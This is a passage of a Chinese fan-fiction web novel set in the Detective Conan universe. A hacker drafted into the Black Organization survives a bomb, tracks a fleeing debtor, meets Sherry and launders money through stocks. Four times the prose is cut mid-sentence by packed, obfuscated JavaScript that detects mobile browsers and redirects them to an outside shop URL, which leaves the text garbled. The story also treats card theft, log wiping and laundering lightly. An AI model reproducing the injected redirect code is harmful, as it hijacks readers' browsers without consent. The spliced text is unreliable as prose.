闻言,琴酒冷冷的扫了他一眼,眼神近乎轻蔑。 虽然没说话,但茶木泽生敏锐的感知到了这个眼神下的真实含义—— 找不到定位你就死定了。 怎么每次都用威胁这一招,茶木泽生在心底小声咒骂了几句,十分窝囊的打开了电脑。 伏特加拨通电话的同时,程序开始运行。 茶木泽生专心致志地根据通讯信号反推位置,没能注意到伏特加到底说了些什么,只是隐隐约约听到了偿还资金,跑不了这几个字。 原来是欠钱不还的老赖。 这种人就应该多给组织安排几个,最好能让组织直接破产,原地解散。 系统启动的第二十二秒,茶木泽生一边幻想组织倒闭的情景,一边进行信号追踪。 待地图上乱晃的信号源稳定落在一处,他报出了那个地址,通话还未挂断的伏特加又重复了一次。 紧接着,电话另一端的语气突然急切了起来,就连距离较远的茶木泽生都听到了对面传来的求饶告罪声。 居然被一个地址就吓破了胆,心理承受能力比自己还差。 茶木泽生在心底偷偷为这个没有骨气的欠债人默哀了三秒钟: 希望你还能有足够的利用价值用以交换活下去的机会。 “大哥,他说明天会把钱放在浅井别墅区公寓天台的水塔下面。”伏特加捂着听筒,特意压低声音,小声的对琴酒说道。 想到手里还未完成的任务,琴酒定了一个时间:“下午两点。” 在伏特加继续沟通时,琴酒看了一眼无所事事的茶木泽生,突然道:“你也一起。” 起初茶木泽生还没意识到琴酒说的人是自己,还在那里为自己的行动扫尾。 虽说这种入侵痕迹用不了几个小时就会淹没在海量信息之中,但有了被琴酒抓住的前车之鉴,如今的茶木泽生恨不得穿着脚套进自己的家。 他现在连指纹都不想留下,更何况是侵入系统的遗留痕迹。 直到手中笔记本电脑的显示屏被一只手压住,茶木泽生才缓缓抬头,注视着琴酒那双翡绿色的眼睛。 他半是疑惑半是询问的抬手指着自己的脸:“我也去吗?” “记得带上趁手的工具。”丢下这一句话后,不想解释太多的琴酒带着伏特加转身离开。 对于组织里的其他人来说,琴酒口中趁手的工具一般代指各种枪支;而对于茶木泽生来说,工具二字一般是指自己惯用的电脑。 第二天下午,没能及时沟通到位的三人就这么分成了截然不同的两组。 琴酒和伏特加一组,茶木泽生自成一派。 还未适应自己已经成为了穷凶极恶的一员,在集合点背着电脑包的茶木泽生心虚的低着头,试图将自己的存在感降到最低。 琴酒眼皮抽动,用一种带着探究的幽深目光看着自己带回来的新人。 他现在开始怀疑自己当初那一叉并没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998719|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扎穿茶木泽生的手掌,而是扎破了他的大脑。 不然没法解释现在这个场面。 最后还是伏特加硬着头皮出来打了圆场:“大哥,快到时间了,我们……” “出发。”琴酒嫌弃的掠过茶木泽生的脸,率先上了车。 知道这一关算过了的茶木泽生迅速钻进汽车后排,将身上的设备放到了一旁的空位上。 为了尽快摆脱这个令人尴尬的氛围,伏特加将车开的飞快,一路上他们背后的咒骂声和喇叭声就没断过。 半个小时的路程硬生生被压缩到了十九分钟。 交易地点的这栋公寓高约253米,可容纳?近2000户?家庭。 为了保障住户的权益不被侵害,电梯实行刷卡制。 早就写好程序的茶木泽生刷完卡,便默默退到后方充当背景板。 一时间,熟悉的沉闷再度降临。 好在电梯速度并不慢,熬过这几分钟的上升时间,空气重新流动起来。 相较于地面,这里的风要更为狂躁。 伏特加有墨镜,琴酒戴着帽子,多少都能挡一挡。 唯独茶木泽生,身上除了一个电脑包外什么都没有,和全副武装的两人形成了鲜明的对比。 他迎着阳光逆着风,时不时还要避开琴酒乱飞的长发,艰难的在顶楼上前进。 等到了水塔附近,站在阴影中的茶木泽生如释重负的睁开了眼睛。 在琴酒的示意下,他蹲下身,准备将那两大包装有现金的旅行袋拖出来。 刚一入手,茶木泽生就察觉到了异样。 好轻,而且重量分布的也不均匀。在手里的质感比起纸钞,更像是什么特质的金属器具。 “怎么了?”身后的琴酒见茶木泽生停住了动作,问道。 “感觉这个包不太对劲。” 谨慎的性格在琴酒眼中从不是缺点,想起茶木泽生之前做的那些事,他选择暂时相信这个猜想。 “伏特加,你去。”他再怎么丧心病狂也不会让茶木泽生这个什么都不懂的人动手。 今天之所以带人过来,只是想让他熟悉一下流程。 相较于疏于锻炼的从茶木泽生,伏特加的动作要利索的多。 在他拉开拉链,准备验资时,一道细微的断裂声自包裹内响起。 不是线头被拉链卡住的声音,也不是纸钞碎裂发出的动静,而是什么早已绷紧的东西随着拉开拉链的动作强行断裂所发出的声响。 就像是……拉线触发引信。 触发时间通常为三到五秒。 同样听到这个古怪声音的两人迅速后撤的同时给手中的枪械上膛,戒备的盯着四周。 依旧站在原地的茶木泽生却选择了完全相反的行动方针。 他深吸一口气,将胸腔内不断外涌的情绪压了下来。 随后,精准利落、不带半分犹豫的一脚踢在在那只旅行包上。 琴酒的视线本就分了一缕在爆炸源上。见茶木泽生如此行事,眸底飞快掠过一丝探究的冷光。 茶木泽生动作敏锐的全然不像先前评估报告中所描述的那样——在无网络状态下,威胁程度低。 不过瞬息之间,被踢到天台角落的旅行包骤然炸开! 震耳欲聋的爆鸣中,滚烫的热浪裹挟着碎裂的石块朝着三人猛扑过来。 待烟尘散去,茶木泽生拍打着满身的碎纸屑与灰尘,面无表情的问:“今天的交易对象,他叫什么名字?” 5. 偷懒秒被识破 “土谷哲也,男,三十五岁。” 琴酒掀起眼皮,用一种极为平静,但带着审视的目光回答了茶木泽生的问题。 得到关键信息的茶木泽生盘腿坐下,像是看不见琴酒那刺人的目光般,旁若无人的从背包里拿出了电脑。 信息被一个个输入,茶木泽生的指尖不间断的在键盘上敲打着,右手还时不时会因为伤口的刺痛停滞几秒。 这个名字算不上小众,即便有了相关条件的筛选,依旧留下来了不少人。 茶木泽生又一次添加关键词:欠债、赌博、担保、公司经营不善…… 能欠下大笔资金的活动都被他筛了一遍,人员范围进一步缩小,最终只留下了三个人。 “是哪一个?”茶木泽生微微侧身,确保两人能看到屏幕上的所有信息。 琴酒从伏特加的肩膀上捡起一小块被爆炸崩到身上的碎石子,夹在两指之间,朝着中间那张看起来十分欺软怕硬的脸弹了过去。 石子破空,擦着茶木泽生的耳朵飞过,在电脑屏幕上留下一个细小的凹痕。 茶木泽生盯着屏幕上那个新鲜的、边缘还带有一丝裂纹的小坑,心疼道:“就没有温和一点的提示方法吗?” 这台电脑还是伏特加昨天带来的那台,虽然比不上自己之前使用的设备,但是它联网了啊。 “给你报销。” 琴酒嘴里咬着一根细支香烟,没有点燃,说话声也有一点含糊,但茶木泽生觉得那几个字比宣布年号的主持人话筒中传出来的声音都要清晰。 他追问:“型号任选?” “任选。” 一台电脑而已,组织里不差这点钱。 有了新设备在前面吊着当奖励,茶木泽生的搜寻排查的速度愈发快了起来。 通过这几天的观察,茶木泽生可以确认,琴酒在组织里的地位绝对不低,虽然有不少人和他不怎么对付,但明面上都会听从他的命令。 有时琴酒的一句话能被人解读出来七八种含义。 或许正是因为这个,他平时的话并不多。 而琴酒既然敢说出来任选这两个字如此绝对的字,就表明他把所有解读方式都考虑到了。 包括茶木泽生想得那一种——自由行动的权力。 看着身前不断闪烁变换的屏幕,琴酒咬着烟的力气突然加重了一瞬。 依照现在的速度来看,茶木泽生做程序的那几天绝对在偷懒。 也不知道他是怎么骗过了监控。 算了,琴酒别过头。 左右不是自己手底下的人,偷懒也偷不到自己头上来,就让朗姆自己头疼去吧。 找到了想要的信息,并不知道自己的偷懒计划已经暴露的茶木泽生将怀里的电脑往外挪了挪,好让另外两人看得更清楚。 “三十分钟前,机场候机区的摄像头拍到了他的脸。” 原来是准备卷款潜逃。 在场三人心中发出了同样的感慨。 与外貌所带来的第一印象不同,土谷哲也实际上是个很精明缜密的人。 在他眼中,面对一个能通过电话进行精准定位的组织,最好的应对措施就是逃离,逃得越远越好。 琴酒的手指隔着风衣敲打着贴身存放的枪械:“最近的一趟飞往国外的航班……” “二十五分钟后起飞,已经停止检票了。” 伏特加估算了一下距离,皱起眉询问琴酒的意见:“我们赶不过去,要不要通知接雪莉的成员拦一下。” “不需要赶,他不会搭乘那趟航班。”茶木泽生按下一个按键,屏幕上的页面自动切换。 “我查到了他妻子的出入境记录,他要去的是美国,这趟航班要在下午四点才会起飞,我们还有一个半小时的时间” 收回手的茶木泽生在心中暗自思忖刚听到的信息:雪莉是谁? 听起来像是位女性。 伏特加在叫这个名字时,语气并无太多尊敬,和琴酒说话的态度相比较,简直是一个天,一个地。 也就是说,在伏特加眼中,雪莉和他自己在组织的地位差不多,或者要更低一些。 否则他们不会将取回欠款以及迎接雪莉这两件事安排的这么紧凑。 因为他们确信,即便行动的临时修改会影响到雪莉,她也不会,或者说不敢因此产生愤怒的情绪。 就像是自己。 联想到自身处境的茶木泽生不禁悲伤春秋了起来。 他对自己的定位一直很清楚,一个不太听话但是很好用的工具人。 真要是论起来,他和雪莉哪个更倒霉还真不一定。 先是莫名其妙来到1996年,查个资料的时间就被拐进了黑色组织,进去先挨一顿揍,三番五次被人用枪指着头,手上的伤到现在也没好…… “你怎么能确定他一定会找他老婆?”这年头抛妻弃子的例子可不少,用亲人转移视线在他们眼中算不得什么罕见的事。 在部分人眼中,危难当头,什么都能被抛弃。 伏特加的问话打断了茶木泽生的回忆,他再度进入工具人状态。 双手继续敲打着键盘,将信息一点点罗列出来的同时,解释道:“土谷夫人前段时间花了六亿两千万从别人手中买了一张中奖金额为五亿日元的彩票。” “一亿两千万,将钱洗的干干净净,损耗率在19%左右,不算太高。”阐述信息的间隙,茶木泽生还不忘发表一下自己的意见。 “作为彩票的持有者,所有洗干净的钱都躺在土谷夫人的账户上。”他调出另一个界面,那是一个电子账户凭据。 持有人是土谷夫人,名下的金额则是五亿六千万日元。 估计全家的资金都在这个账户上了。 “如果不想余生都在穷困潦倒中度过,他一定会去找自己的妻子。” 听完这些,一旁的琴酒突然笑了一下,他总算是在茶木泽生身上找到一个能用的优点了。 单凭讲情报时说人话这一条,就胜过了组织里的绝大部分情报员。 “伏特加。”琴酒的声音有点低哑,“先去接雪莉,至于这个试图逃跑的小偷,落地时让对面的人抓。” 让对面的人抓? 茶木泽生若有所思,看来自己被迫入职的还是个跨国组织。 就是不知道体量到底有多大,还是要多探听一下消息。 要是跑路时一不小心跑到了分部的地盘,那可就闹出大笑话了。 在琴酒口中得知土谷哲也的处理后续,茶木泽生心中被炸了一通的情绪已经去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998720|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了大半,落在琴酒手中绝对比落在自己手中要惨得多。 作为曾经的亲历者,他无比相信这一点。 通知几个外围成员过来处理现场后,琴酒率先离开。 茶木泽生抱着电脑一瘸一拐的跟在后方,同样往电梯的方向走去。 刚才好像踢到骨头了,嘶,好疼。 好不容易挪进电梯,茶木泽生还要继续工作。 虽说今天是工作日,这个时间点大家几乎都在上班,但不怕一万,就怕万一。 他们身上被炸弹余波波及到的痕迹做不了假,明眼人一看就知道是怎么一回事。 茶木泽生先是把电梯的运行记录直接删掉了一整天。 为了避免有不相干的人误入,还要把干扰程序打开,确保在抵达地下停车场之前,电梯不会因为有人想要下楼而停靠。 至于监控以及停车留下来的数据,要等到他们离开这栋公寓覆盖程序才会启动。 在平稳下降的电梯中,琴酒突然问:“如果组织不打算报复那个人,你会怎么做?” 来了来了,前辈的临时考核。 答的好升职加薪,答不好就去做冷板凳。 立志拥有健康作息以及大量自由时间的茶木泽生毫不犹豫地选择了前者。 在这种问题上,言语偏激不要紧,最重要的是一定要摸清喜好。 茶木泽生选择了最为稳妥的方式,他顺着琴酒方才的话往下说,用琴酒的思维回答琴酒提出的问题。 “大概会把他的钱全都骗走,在余生中时不时给他一点奖励,然后不定时的以各种方式收回。” “让他永远抗拒甚至是恐惧那份得到却又注定要失去的奖励。”茶木泽生低头思考片刻,又补了一句,“比起总会到来的惩罚,等待的过程才是最难熬的。” 优点二:长久的报复心。 就是效率有点低,但也不失是一个好方法,下次可以用在那些不听话的外围组织成员身上。 对于他们来说,或许等待的过程真的要比死亡更令人感到惊恐。 唯一可惜的就是,茶木泽生不会被归于行动组。 回答完问题,没能得到任何评价的茶木泽生抬起头,在电梯的封闭门的反光上,他居然诡异的从琴酒眼中看到了欣赏。 欣赏谁? 自己吗? 茶木泽生转过头看向琴酒,对方则迅速收起了那一点别样的情绪,依旧咬着还未点燃的香烟,冷着一张脸看着他。 叮—— 在电梯到达地下停车场的提示音中,琴酒看了一眼时间,对茶木泽生说:“把痕迹打扫干净,五分钟后和我一起去接人。” “知道了,大哥。”茶木泽生学着伏特加的样子回话,引的伏特加频频回望。 将所有的信息全都删除覆盖好后,他还留出了一个小时的故障时间,确保来收尾的成员不会因此暴露。 坐上车时,刚刚好五分钟。 将电脑随手一放,茶木泽生懒散的躺在座椅上:“在路过百货公司的时候请稍微停一下,我订了三套衣服。” 坐在前排的琴酒透过车内后视镜看向茶木泽生。 自己招揽的人也不一定非要去情报组才能发光发热,留在自己身边或许也是个不错的选择。 6. 劫富济自己 衣服是茶木泽生以他们当前的穿着以及相关需求作为参考拟定的。 伏特加的是一件灰蓝底的衬衫外加黑色西装三件套。 有琴酒在,需要他动手的时间并不多,即便是短款的西装外套也能将手枪藏住。 西装裁剪挺阔,让他整个人看起来愈发利落。 与之相反的则是琴酒的衣服。 修身的打底,过膝的风衣,长发散落至腰际,几乎目光所及的每一处都能藏下点什么秘密。 两人身上都是以黑色为主,偶尔在衣领或是袖口处露出一些别样的颜色,也全都是暗色系。 加上他们两个爱冷着一张脸,这一身暗色衬得他们愈发幽暗,看起来就不像什么好人。 而自认为后面的行动不需要自己动手的茶木泽生就不一样了。 他遵从本心,选择了最普通、也是最方便动作的衣服——卫衣和运动裤。 想起天台上的狼狈景象,茶木泽生还不忘给自己买了副平光镜。 简洁的款式、柔和的颜色,没有太多硬线条,从头到尾都十分温和无害,硬生生把身旁两位黑衣人身上的煞气冲淡了不少。 但这种搭配容易产生一个错觉。 那就是无论琴酒与伏特加站在哪里,看起来都像是茶木泽生的保镖。 站在前面,像是在开路;站在后面,像是要殿后,就算站在侧面,也像是在保驾护航,随时防备着什么。 远远望去,简直就是富家少爷无事可做,索性带着两个保镖出来闲逛一样。 尤其是琴酒嫌茶木泽生步幅太慢,将装着脏衣服的手提袋全都塞给了伏特加后,看起来就更像了。 显然琴酒也意识到了这一点,他的语气不轻不重,听起来像是在教训一只不怎么听话的猫:“以后不准穿这种衣服。” 茶木泽生沉默片刻,点头应下了这个有点无理的要求:“……知道了。” 上车前,琴酒一直在思忖一件事。 茶木泽生是怎么做到的? 他很确定没人给过茶木泽生行动资金,无论是组织内还是组织外。 就连编写的那个程序,也因正处于测试阶段,没能下发任何金额。 在派发任务之前他们也调查过,所有资料都显示茶木泽生名下什么都没有。 根据仅有的信息来看,与茶木泽生关系最为密切的是他和伏特加。 是有特殊渠道还是他们没能查出来的假身份? 前者能扩宽一下组织的现有渠道,后者能通过银行账户再次追踪一下茶木泽生的身份。 所以,“哪儿来的钱?”在汽车发动时,琴酒问。 茶木泽生:“黑了一家游戏公司高管情人的VIC卡。” 这种身份特殊的人即便财产方面出了一点小小的安全问题,他们也不敢声张。 反正都是不义之财,谁花都一样。 还不如便宜自己。 不止茶木泽生这么想,车上的其余两人也是如此,琴酒头也不抬的问:“姓名。” 茶木泽生愣了一会儿才意识到琴酒在问什么:“冈仓政明。*”他报出了那位倒霉高管的名字。 在茶木泽生将那些装着旧衣的纸袋放在后座时,琴酒将这个名字记在了备忘录里。 对于这种有头有脸的人物来说,为了不让名声受损,往往会选择做出更有损名声的事。 这算是一个不大不小的把柄,可以让外围成员先接触一下试试。 能利用就用一下,用不了伪装成情杀,再把他的财产带走。 前往机场的路上,伏特加在专心开车,琴酒则在处理积攒下来的邮件,茶木泽生则靠着车窗饶有兴致的观察着周围飞速掠过的景色。 长期被关在一处、无法自由行动的人,总是对一切能带来新鲜感的事物感到好奇。 路旁的广告牌上刊印着近期热映的电影,女主角是一位近期新兴的女星:克丽丝·温亚德*。 据说这部电影是她的母亲莎朗·温亚德,这位享誉影坛的传奇女星特意为她选的出道作品。 那张从里到外都在阐述女主演神秘感的巨幅海报在茶木泽生的眼前一闪而过,只给他留下了十分短浅的印象。 但他总觉得自己好像在哪儿见过那张满是笑意但处处都透露着危险的脸。 思考时的时间总是过得很快,等到他们到了机场,茶木泽生也没想起来自己到底在哪儿见过克丽丝·温亚德。 此时刚好是另一艘航班的抵达时间,出站口挤满了疲惫不堪的乘客。 在一众神情萎靡的表情中,有人格外显眼。 那是一位留着短发的干练女性,发色是偏红的茶色。 与来来往往,大包小包的乘客不同,她只带了一个手提公文包,身上穿着一件米白色简约款的风衣。上面除却两个口袋外,其余装饰都被人为的拆解掉了。 如果忽略颜色的话,比起风衣,茶木泽生觉得那件衣服更像是实验室专用的白大褂。 医生向来讨厌这种制式的服装,会是生物或者化学方面的科研人员吗? 在注意到茶木泽生的目光后,她立即敏锐的抬头望了过来。 那股目光并不凝实,像是早春时节斜映在冰层上的光束,在接触到那一点的同时朝四周逸散开来。 她不止看到了茶木泽生一个人,还看到了附近的琴酒与伏特加。 只是一瞬,她便拎着公文包朝几人的方向走了过来。 与此同时,茶木泽生也确定了她的身份——雪莉。 还真是年轻。 茶木泽生不知道的是,这也是雪莉见到他的第一印象。 眼神很干净,不像是组织从小收养培育的孤儿,也不像是因为背了命案而自愿加入的亡命之人…… 那就只剩下最后一个可能了,他和自己一样,是技术人员。 就是不知道他目前负责哪一个板块,是否和自己的工作范围有所重合。 在路过茶木泽生时,她略微停顿了一瞬,随后才若无其事的往外走。 有了茶木泽生在酒馆试图逃离的案例在前,这一次走在最前面的人变成了伏特加,两位技术人员在中间,后方不远处则是盯着他们的琴酒。 从接到人再到回到车旁,他们一共用了不到十五分钟。 在这十五分钟的时间里,他们的车窗上被眼疾手快的交警贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998721|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一张违停罚单。 众人:“……” 茶木泽生率先揭下了那张罚单,强忍着笑意,转头向琴酒问道:“我们在交通科里有人吗?” “你问这个做什么?”看到罚单的琴酒嗤笑一声,点燃了一支香烟夹在手中。 “如果没人的话,我可以帮忙,直接在资料库里把罚单删掉。”茶木泽生试探性的毛遂自荐。 原来是组织新招揽的黑客,站在最外围的雪莉垂下眉眼。 一个黑客能做的事有太多了,估计实验室防火墙的搭建也会出自眼前人之手。 看来要努力和平共处才行,就是不知道他的脾性如何。 “这个不用你管。”琴酒的声音一如既往的冷淡。 未曾入口的香烟被举起,不屑的对准罚单上的车牌号碾了上去。 纸张与香烟燃烧时散发出的独特气味瞬间卷入茶木泽生的呼吸之中。 在被烧到手指之前,那张罚单被琴酒连同香烟一起丢进了附近的灭烟器里。 这一回答近乎明示的告诉了茶木泽生:组织内有专门处理这一类事务的人员。 真是麻烦死了,怎么连警方那里都有卧底。 这个组织到底是什么来头? 低头将车里那些手提袋放在后备箱,为雪莉腾出空位时,茶木泽生默默取消了作为污点证人投靠警方的选择。 同时在心中恨铁不成钢的想: 卧底都派到警察老窝里了,那些警察就不能争点气,礼尚往来一下,也往组织里派点卧底吗! 但幻想终究只是幻想。茶木泽生神色恹恹的坐在了后座。 在瞧见被琴酒弄坏显示屏的电脑时,干脆化悲愤为动力,为自己挑起了新装备,顺带把账单塞进了琴酒的邮箱。 刚给BOSS回复完已经接到雪莉,还未放下手机的琴酒下一秒就看到一封邮件十分强势的打开了自动阅读。 看完内容的他没有回复,只是往身后丢了一张卡,顺便删掉了那份毫无用处的账单。 用简洁但有效的话堵住了茶木泽生的嘴:“自己付。” 坐在一旁的雪莉原本正侧身看着窗外飞逝而过的建筑,在看到琴酒把银行卡给出去时,双眼因诧异而微微睁大了些许。 他们两个的关系看起来好像还不错。 作为行动组的领头人,琴酒很少会有这么有耐心的时刻。 对于茶木泽生来说,拿到资金的第一时间并不是消费,而是排查隐患。 银行卡没有问题,金额也没有问题,但是资金类别有点问题。 根据银行的内部交易记录显示,这笔资金已经超过十年没有任何流水往来,被自动列入了休眠账户,暂时封存了交易功能。 如果贸然使用这笔资金付款,银行立即就能发现异常。 简而言之,这是一笔黑钱。 要想花出去,必须先洗干净。 洗钱这件事对茶木泽生来说简单的很,丢进股市里,来回走几圈就能变得干干净净,清清白白。 只不过…… 这也是试探吗? 他抬头看向琴酒,试图从那个寡言的背影中看出些什么。 7. 宫野姐妹 在接到雪莉的第三天,茶木泽生搭建好了一层数据防火墙。 除此之外,他还要做一个反泄露逆向追踪程序,确保能第一时间找到是谁在试图窃取组织内的实验数据。 为了减少泄露的风险,这几天他全都和雪莉一起待在实验室里,全程受到头顶上十三个摄像头的监管。 在雪莉将实验室逐步改造成自己熟悉模式的间隙中,偶尔会和茶木泽生聊上那么一两句。 茶木泽生也因此得知了她的名字——宫野志保。 和茶木泽生这种半路出家的成员不同,宫野志保从小就被组织收养,在生物制药方面展现出天赋时,就获得了雪莉这个代号。 之前一直在美国留学,直到被他们一行人接回来。 在确认通风情况的间隙,宫野志保从广口瓶里倒了些研磨好的咖啡粉,给自己冲了一杯热气腾腾的咖啡用来提神。 因运输不够平稳,昨晚有几只小白鼠产生了应激反应,一直异常兴奋围着饲养箱转圈,她废了不少时间才让它们重新和缓起来。 熬夜的代价就是第二天的精神格外的差,一口气喝了大半杯,宫野志保才觉得自己的疲劳被苦涩压下去了几分。 看到这一幕的茶木泽生忍不住道:“你真的不会拿错瓶子吗?” 宫野志保的外在并不像是少年漫里的科学怪人,但是她把咖啡粉放在广口试剂瓶里的举动真的很像是反派BOSS特有的恶趣味。 茶木泽生并不是第一个这么问的人,她已经习惯了。 “这里是清洁区。”宫野志保站在门口的位置,将手里的杯子放下,见怪不怪的解释,“不会有任何实验样本被带入或是带出。” “完全不用担心会误食有毒试剂。” 换言之,这些东西一直都在这儿,不会有拿错的可能。 正如茶木泽生无法理解宫野志保的行为,在某些时刻,宫野志保也无法理解茶木泽生的动作。 “你这是在做什么?” 又一次记录下需要修改的位置后,宫野志保一抬头就看到了茶木泽生正快速浏览着近期的日经指数。 他好像并非为了研究观察什么,只是在挑选。 从数百家企业中挑选合适的那一个幸运儿。 “洗钱啊。”茶木泽生十分坦然,“即便在持续下跌的漫长熊市,也总会有那么一两家企业会成为异军突起的领头羊。” “在这种时候所有人都会对它们蜂拥而至,趋之若鹜。” “这时候就是将资金混入的最好时机。”手中的圆珠笔转了半圈,被靠在座椅上的茶木泽生随意的丢回笔筒。 琴酒前几天给的那张卡还没有完全洗干净。 大笔资金被拆分成无数细小的金额转入空白账户,然后以不同人的账户名称流入股市。 经过几番买入卖出,那些钱会自动将身上的脏污洗的干干净净,最后汇集到茶木泽生借助他人身份开具的新账户里。 依旧是羡慕土谷夫人的一天,为什么不让他也中一张彩票呢?这样就不用每天都苦哈哈的盯着股市的走向了。 用股票洗钱最麻烦的点就在这里,等到交易所下班后,那些钱也会卡死在里面,无法取出。 将最后一笔钱成功取走的茶木泽生愉悦地弯起眉眼。 抬头时,恰好看到了路过的琴酒。 本着和同事打好关系的想法,茶木泽生抬手和他打了个招呼,从前接单的惯用语脱口而出:“有什么吩咐啊,老板。” 茶木泽生:“……” 他今天就不应该说话。 按照琴酒的压榨方式,他手里肯定又会多出一部分工作。 虽然都是一些替换,删除监控、查资料、入侵系统、伪造身份的琐碎事项,但一直动脑比一直杀人要累多了。 好在琴酒没有在意这些,从茶木泽生学伏特加说话那一刻开始,他就已经将不着调这三个字印在了茶木泽生身上。 在他看来,茶木泽生的嘴里无论说出什么都不足为奇。 琴酒曲起手指敲了敲实验室的透明观察墙,言简意赅的对着茶木泽生说:“出来。” “这就来。” 茶木泽生也就嘴上答应的快,实际上整个人都在慢悠悠的往外走,试图能多拖延一段时间。 在来到这间实验室的第一天,茶木泽生就发现了一件事。 宫野志保不太愿意见琴酒,或者说她不愿意见任何一位组织成员。 琴酒似乎也知道这件事。 自茶木泽生的临时办公地点搬到这里后,他就成了宫野志保和琴酒之间交流的传话筒。 “告诉雪莉,从现在开始,她每周有半天的时间可以和她姐姐宫野明美相处,见面期间至少有一位代号成员的陪同。”似乎是还有其他任务,琴酒交代了几句便匆匆离去。 这个代号成员是谁,不言而喻。 茶木泽生叹气,果然呐,无良同事只会把工作推给其他人。 “他和你说了什么?”一进门,宫野志保就围了过来。 这间实验室并未彻底完工,隔音效果不是很好。刚才她隐隐约约听到了“姐姐”两个字。 茶木泽生并没有第一时间回答这个问题,他就地取材,从墙上的壁挂灯后面抠出来一个窃听器。 “每周半天时间,我可以不跟过去,但是你要戴着这个。” 上次出个门差点被炸死,破外勤谁爱出谁出。 “……还是跟着吧。”宫野志保嫌弃的看了一眼茶木泽生手中的窃听器,比起一点隐私都没有,她宁愿被陌生人盯着。 这是还茶木泽生第一次在宫野志保眼中看到如此鲜明的情绪。 说话间,宫野志保就把白大褂换了下来,见茶木泽生依旧站在原地,特意提醒道:“不走吗?” 亲人之间的情感和正在进行中的实验不一样。 宫野志保可以忍受一项实验长期未得到进展,也可以将已经完成大半的进程推翻重来,但她没有办法忍受见不到自己的姐姐的情况。 那是她唯一的亲人了。 作为没有代号的外围成员,只有自己对外展现的价值越大,姐姐的生活才会越来越好。 在外读书的那几年,两人一直依靠邮件沟通交流。 宫野明美会在每一封邮件里附上自己近期的照片,告诉妹妹自己最近做了什么, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998722|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尝试了哪些新事物,恨不得把自己每一分每一秒的感受都分享给远在大洋彼岸的宫野志保。 与之相反的则是宫野志保的邮件,她的回复向来带着反复思量过后,将情感浓缩的简洁。 读书期间,她曾作为见习研究员加入了一位教授的实验室。 几年前,这间实验室曾发生过机密泄露事件,为了避免这种事再度发生。 实验室负责人会审查每一位研究员的邮箱往来信息,一旦发现有任何与实验进度有关的信息,无论真假,都会立即辞退。 短短半年,就有无数人因此离开实验室。 其中用时最短的一位只花了五分钟,甚至连实验室的大门都没能进去,只是在门口拍了一张照片,就收到了一张辞退报告。 同期的研究员还和宫野志保调侃:“要是我们的实验进度和他的离职速度一样快就好了。” 对此宫野志保未发一言。对方也不是真的想和她聊天,只是有感而发之际需要一个听众,而她恰好在这里而已。 在这样压抑的环境中,实验室里的研究员坚持最久的一位就是宫野志保。 倒不是她有多谨慎警惕,而是她的邮件不仅要被实验室负责人检查,同样也要被组织的人检查。 她早就习惯这种隐私时不时被人窥探一下的感觉了。 而如今有机会能让自己亲眼见到姐姐,她无论如何都不会放弃的。 在宫野志保的催促下,茶木泽生拎起电脑,刚要跟上,想了想,又带了一部相机。 在机场产生的疑问,此时终于有了答案。 和茶木泽生比起来,有亲人作为把柄的宫野志保无疑是更倒霉的那一位。 他们离开实验室的时间是早上八点三十分,为了不浪费这次短暂的相处时间,姐妹两人同时出发,约好了在一家咖啡店碰面。 宫野明美是自己开车过来的,待她抵达约定地点时,茶木泽生面前的咖啡已经有些凉了。 “这位是……” 找到位置的宫野明美下意识的握紧了挎包的背带,脸上的笑意有些僵硬。 她先是看向了在场唯一一位陌生人,随后又看向了自己的妹妹。 “同事。”不准备打扰两人叙旧的茶木泽生率先起身,带着自己的那份咖啡走远了一些,将空间留给了久别重逢的姐妹俩。 说远也没走太远,茶木泽生只是在宫野两姐妹的对面找了个位置坐着,三人之间只隔着一条窄窄的过道。 毕竟还要完成琴酒给出的监视任务,离的太远的话,会听不清两人说了些什么。 在听到“同事”这两个字时,宫野明美就明白是什么意思了。 平日里监视自己的一举一动也就罢了,现在就连见面也要盯着吗。 又是这种窒息的、无时无刻都在紧紧缠绕住躯体,阴魂不散的感觉! 